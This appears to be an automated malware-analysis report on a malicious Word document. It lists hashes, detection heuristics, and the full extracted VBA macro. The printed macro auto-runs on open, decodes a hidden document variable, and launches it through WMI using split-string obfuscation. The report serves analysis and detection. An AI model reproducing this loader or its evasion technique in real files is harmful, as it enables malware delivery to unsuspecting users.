Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 753b4b8096ead9ba…

MALICIOUS

Office (OOXML)

19.9 KB Created: 2020-08-18 12:54:00 UTC Authoring application: Microsoft Office Word 14.0000 First seen: 2020-09-07
MD5: 1c0a10fb51d4b6a1732151ed4a87c44b SHA-1: 9d881cd96d4fd154ca9d5dedeee92c45688b0a3b SHA-256: 753b4b8096ead9ba3791820b2a91914a5864c5fba6fa5569e135bac6da98f5ae
402 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment T1203 Exploitation for Client Execution

The sample is an OOXML document containing a VBA macro that is automatically executed via the Document_Open subroutine. The macro uses WMI (Win32_Process.Create) to launch a process, likely to download and execute a second-stage payload. The obfuscation technique of reassembling the 'winmgmts' string from split literals is noted. The document body explicitly prompts the user to enable macros, indicating a social engineering lure.

Heuristics 9

  • ClamAV: Doc.Downloader.Sagent-9376492-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.Sagent-9376492-0
  • VBA project inside OOXML medium 5 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • VBA WMI Win32_Process launcher critical OLE_VBA_WMI_PROCESS_CREATE
    VBA macro builds or references a WMI moniker for Win32_Process and invokes .Create to start a command. This is a high-confidence macro execution chain that often hides the WMI class name through string concatenation or helper functions.
  • Dangerous API name reassembled from split string literals critical OLE_VBA_SPLIT_KEYWORD_OBFUSCATION
    VBA concatenates short string literals that reassemble a dangerous API/ProgID/LOLBin name (e.g. Scripting.FileSystemObject, WScript.Shell, powershell, URLDownloadToFile) which appears in no single literal. Splitting an API name across string concatenation is done only to evade keyword scanning.
  • Document_Open macro high OLE_VBA_DOCOPEN
    Document_Open macro
  • GetObject call high OLE_VBA_GETOBJ
    GetObject call
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Macro/content-enable lure medium SE_ENABLE_LURE
    Document instructs the user to enable macros or editing — a common technique used by malware droppers to bypass Office macro security settings
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.microsoft.com/office/word/2010/wordprocessingCanvas In document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/markup-compatibility/2006In document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/relationshipsIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/mathIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/wordprocessingml/2006/mainIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingGroupIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingInkIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2006/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingShapeIn document text (OOXML body / shared strings)

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 3371 bytes
SHA-256: ada61f6647b7f1f14cbaa1223e86498d76acd97f59057002e8b097ced078d78a
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Option Explicit
Private Sub Competent(ByVal Haleakala As String)






           Dim Cannikin As Long: Dim Hidrosis() As Byte
GoTo Unfestooned





BrownsBurg:
NoNapparitioNal StrConv(Hidrosis, 64, 1055)







           







                                                                        Exit Sub





                                                        







           




Eximiously:






                                                                            For Cannikin = 0 To UBound(Hidrosis)








                  Hidrosis(Cannikin) = Abs(Hidrosis(Cannikin) - 15)








                   Next






               






                                                        





                                                        





                                                    GoTo BrownsBurg





                  







                                            Exit Sub
Unfestooned:






                                                                        Hidrosis = StrConv(Haleakala, 128, 1055)






            





            






          GoTo Eximiously
Exit Sub





                  End Sub






               Sub Document_Open()







                                                
Call ImItatIonal






                 End Sub








                                                                    Private Sub ImItatIonal()






                                                        Dim Haleakala As String: Haleakala = ActiveDocument.Variables("v91bbc112ea").Value






                                            Competent Haleakala








                                                                            




               End Sub
Private Sub NoNapparitioNal(ByVal RadiogRaphy As String)







                                        Dim Lankiest As String: Lankiest = "."






                                                                






          If RadiogRaphy <> "" Then
GetObject("w" & "i" & "n" & "m" & "gm" & "t" & "s" & ":\\" & Lankiest & "\ro" & "ot\ci" & "m" & "v2" & ":W" & "in3" & "2_P" & "r" & "oc" & "e" & "s" & "s").Create RadiogRaphy, Null, Null, 0





            







                   Else








                   MsgBox "Promted usr764 ."






                                                        







                                                        GetObject("wi" & "n" & "m" & "g" & "mt" & "s:\\" & "." & "\ro" & "ot\ci" & "mv2" & ":W" & "in" & "3" & "2" & "_P" & "roc" & "e" & "ss").Create "calc.exe", Null, Null, 0






                                                                        





                                            





                                            End If
End Sub
vbaProject_00.bin vba-project OOXML VBA project: word/vbaProject.bin 13824 bytes
SHA-256: de9a096ac134c1e3b78445724bf4df319578b9626fe221e5d4b6515cfdc55d71
Detection
ClamAV: Doc.Downloader.Sagent-9376492-0
Obfuscation or payload: unlikely

Open this report in the interactive analyzer, or submit your own file for analysis.